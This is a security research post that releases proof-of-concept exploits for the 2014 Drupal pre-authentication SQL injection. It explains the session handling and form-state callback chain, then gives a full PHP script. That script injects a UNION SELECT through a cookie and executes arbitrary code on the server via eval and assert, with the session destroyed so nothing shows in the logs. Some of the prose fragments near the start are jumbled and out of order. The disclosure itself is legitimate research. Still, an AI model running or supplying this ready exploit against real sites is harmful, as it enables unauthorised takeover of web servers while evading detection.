After two weeks of this bug in the wild, we release some additional information including not one but two PoCs.

For more information about the bug see the advisory we released two weeks ago .

With this in mind we release more information about the bug including a code execution PoC, which takes only one GET request with a cookie that will not be shown in any log.

// send the request to the server

"please state the cookie url. It works only with https urls.

We created a PHP script, which makes the initial request and outputs the new session ID.

After this injection Drupal updates the insecure session to a secure one (HTTP to HTTPS).

In this code we see, that Drupal gives the value of the $_COOKIE[$insecure_session_name] directly to the vulnerable SQL function. This fact can be exploited to get a working session for the Admin user. To do so we inject this SQL query:

"SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.sid = :sid AND s.uid = 0"

"SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.ssid = :ssid"

// for an anonymous session with the non-HTTPS-only cookie.

// a HTTPS session or we are about to log in so we check the sessions table

// client's session in the database. If it's HTTPS then we are either have

// Otherwise, if the session is still active, we have a record of the

Drupal has the ability to update an HTTP session to HTTPS. This is done in the includes/session.inc:

Remote Code Execution PoC

With the same injection vector we can execute PHP code. This is due to the fact, that Drupal saves form states to the session to easily verify forms.

When Drupal verifies the form state, it utilizes the drupal_retrieve_form function in the includes/form.inc.

<?php function drupal_retrieve_form ( $form_id , & $form_state ) { [ ... ] // We save two copies of the incoming arguments: one for modules to use // when mapping form ids to constructor functions, and another to pass to // the constructor function itself. $args = $form_state [ 'build_info' ][ 'args' ]; [ ... ] $form = array (); // We need to pass $form_state by reference in order for forms to modify it, // since call_user_func_array() requires that referenced variables are passed // explicitly. $args = array_merge ( array ( $form , & $form_state ), $args ); // When the passed $form_state (not using drupal_get_form()) defines a // 'wrapper_callback', then it requests to invoke a separate (wrapping) form // builder function to pre-populate the $form array with form elements, which // the actual form builder function ($callback) expects. This allows for // pre-populating a form with common elements for certain forms, such as // back/next/save buttons in multi-step form wizards. See drupal_build_form(). if ( isset ( $form_state [ 'wrapper_callback' ]) && function_exists ( $form_state [ 'wrapper_callback' ])) { $form = call_user_func_array ( $form_state [ 'wrapper_callback' ], $args ); // Put the prepopulated $form into $args. $args [ 0 ] = $form ; } [ ... ] }

Since we can control the session and therefore the $form_state, we can execute any function, but we cannot control its parameters. The function is called with the $form, the $form_state and the $form_state['build_info']['args'] as parameters. Therefore we utilize the form_execute_handlers function. The first parameter is an empty Array, the second is our $form_state and the third parameter is a reference to a string we control.

<?php function form_execute_handlers ( $type , & $form , & $form_state ) { $return = FALSE ; // If there was a button pressed, use its handlers. if ( isset ( $form_state [ $type . '_handlers' ])) { $handlers = $form_state [ $type . '_handlers' ]; } // Otherwise, check for a form-level handler. elseif ( isset ( $form [ '#' . $type ])) { $handlers = $form [ '#' . $type ]; } else { $handlers = array (); } foreach ( $handlers as $function ) { // Check if a previous _submit handler has set a batch, but make sure we // do not react to a batch that is already being processed (for instance // if a batch operation performs a drupal_form_submit()). if ( $type == 'submit' && ( $batch =& batch_get ()) && ! isset ( $batch [ 'id' ])) { // Some previous submit handler has set a batch. To ensure correct // execution order, store the call in a special 'control' batch set. // See _batch_next_set(). $batch [ 'sets' ][] = array ( 'form_submit' => $function ); $batch [ 'has_form_submits' ] = TRUE ; } else { $function ( $form , $form_state ); } $return = TRUE ; } return $return ; }

In a string context every Array() is translated to the string "Array". Therefore the above code checks if $form['#Array'] is set and calls every element of the $form['#Array'] array as function with the $form resp. $form_state as parameter. To execute arbitrary code we need to transform the $form_state array to something we can call eval() on. Therefore we utilize array_filter, which calls our controlled callback function $form_state which we control by $form_state['build_info']['args']. In our PoC we utilize assert().

So if we create this $form_state,

<?php $_SESSION = array ( 'a' => 'eval("phpinfo();session_destroy();die(\"\");");' , 'build_info' => array (), 'wrapper_callback' => 'form_execute_handlers' , '#Array' => array ( 'array_filter' ), 'string' => 'assert' ); $_SESSION [ 'build_info' ][ 'args' ][ 0 ] = & $_SESSION [ 'string' ];

we can execute phpinfo(), destroy the session, so it is not saved to the database, and then exit PHP to cleanly exit the execution so no error is reported in any log.

<?php // _____ __ __ _ _______ // / ___/___ / /__/ /_(_)___ ____ / ____(_)___ _____ // \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/ // ___/ / __/ ,< / /_/ / /_/ / / / / /___/ / / / (__ ) // /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/ // Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins // // created by Stefan Horst <stefan.horst@sektioneins.de> // and Stefan Esser <stefan.esser@sektioneins.de> //· include 'common.inc' ; include 'password.inc' ; // set values $user_id = 0 ; $user_name = '' ; $code_inject = 'phpinfo();session_destroy();die("");' ; $url = isset ( $argv [ 1 ]) ? $argv [ 1 ] : '' ; $code = isset ( $argv [ 2 ]) ? $argv [ 2 ] : '' ; if ( $url == '-h' ) { echo "usage:

" ; echo $argv [ 0 ] . ' $url [$code|$file]' . "

" ; die (); } if ( empty ( $url ) || strpos ( $url , 'https' ) === False ) { echo "please state the cookie url. It works only with https urls.

" ; die (); } if ( ! empty ( $code )) { if ( is_file ( $code )) { $code_inject = str_replace ( '<' . '?' , '' , str_replace ( '<' . '?php' , '' , str_replace ( '?' . '>' , '' , file_get_contents ( $code )))); } else { $code_inject = $code ; } } $code_inject = rtrim ( $code_inject , ';' ); $code_inject .= ';session_destroy();die("");' ; if ( strpos ( $url , 'www.' ) === 0 ) { $url = substr ( $url , 4 ); } $_SESSION = array ( 'a' => 'eval(base64_decode("' . base64_encode ( $code_inject ) . '"))' , 'build_info' => array (), 'wrapper_callback' => 'form_execute_handlers' , '#Array' => array ( 'array_filter' ), 'string' => 'assert' ); $_SESSION [ 'build_info' ][ 'args' ][ 0 ] = & $_SESSION [ 'string' ]; list ( , $session_name ) = explode ( '://' , $url , 2 ); // use insecure cookie with sql inj. $cookieName = 'SESS' . substr ( hash ( 'sha256' , $session_name ), 0 , 32 ); $password = user_hash_password ( 'test' ); $session_id = drupal_random_key (); $sec_ssid = drupal_random_key (); $serial = str_replace ( '}' , 'CURLYCLOSE' , str_replace ( '{' , 'CURLYOPEN' , "batch_form_state|" . serialize ( $_SESSION ))); $inject = "UNION SELECT $user_id ,' $user_name ',' $password ','','','',null,0,0,0,1,null,'',0,'',null, $user_id ,' $session_id ','','127.0.0.1',0,0,REPLACE(REPLACE('" . $serial . "','CURLYCLOSE',CHAR(" . ord ( '}' ) . ")),'CURLYOPEN',CHAR(" . ord ( '{' ) . ")) -- " ; $cookie = $cookieName . '[test+' . urlencode ( $inject ) . ']=' . $session_id . '; ' . $cookieName . '[test]=' . $session_id . '; S' . $cookieName . '=' . $sec_ssid ; $ch = curl_init ( $url ); curl_setopt ( $ch , CURLOPT_HEADER , True ); curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , True ); curl_setopt ( $ch , CURLOPT_SSL_VERIFYPEER , False ); curl_setopt ( $ch , CURLOPT_USERAGENT , 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0' ); curl_setopt ( $ch , CURLOPT_HTTPHEADER , array ( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' , 'Accept-Language: en-US,en;q=0.5' )); curl_setopt ( $ch , CURLOPT_COOKIE , $cookie ); $output = curl_exec ( $ch ); curl_close ( $ch ); echo $output ;

Stefan Horst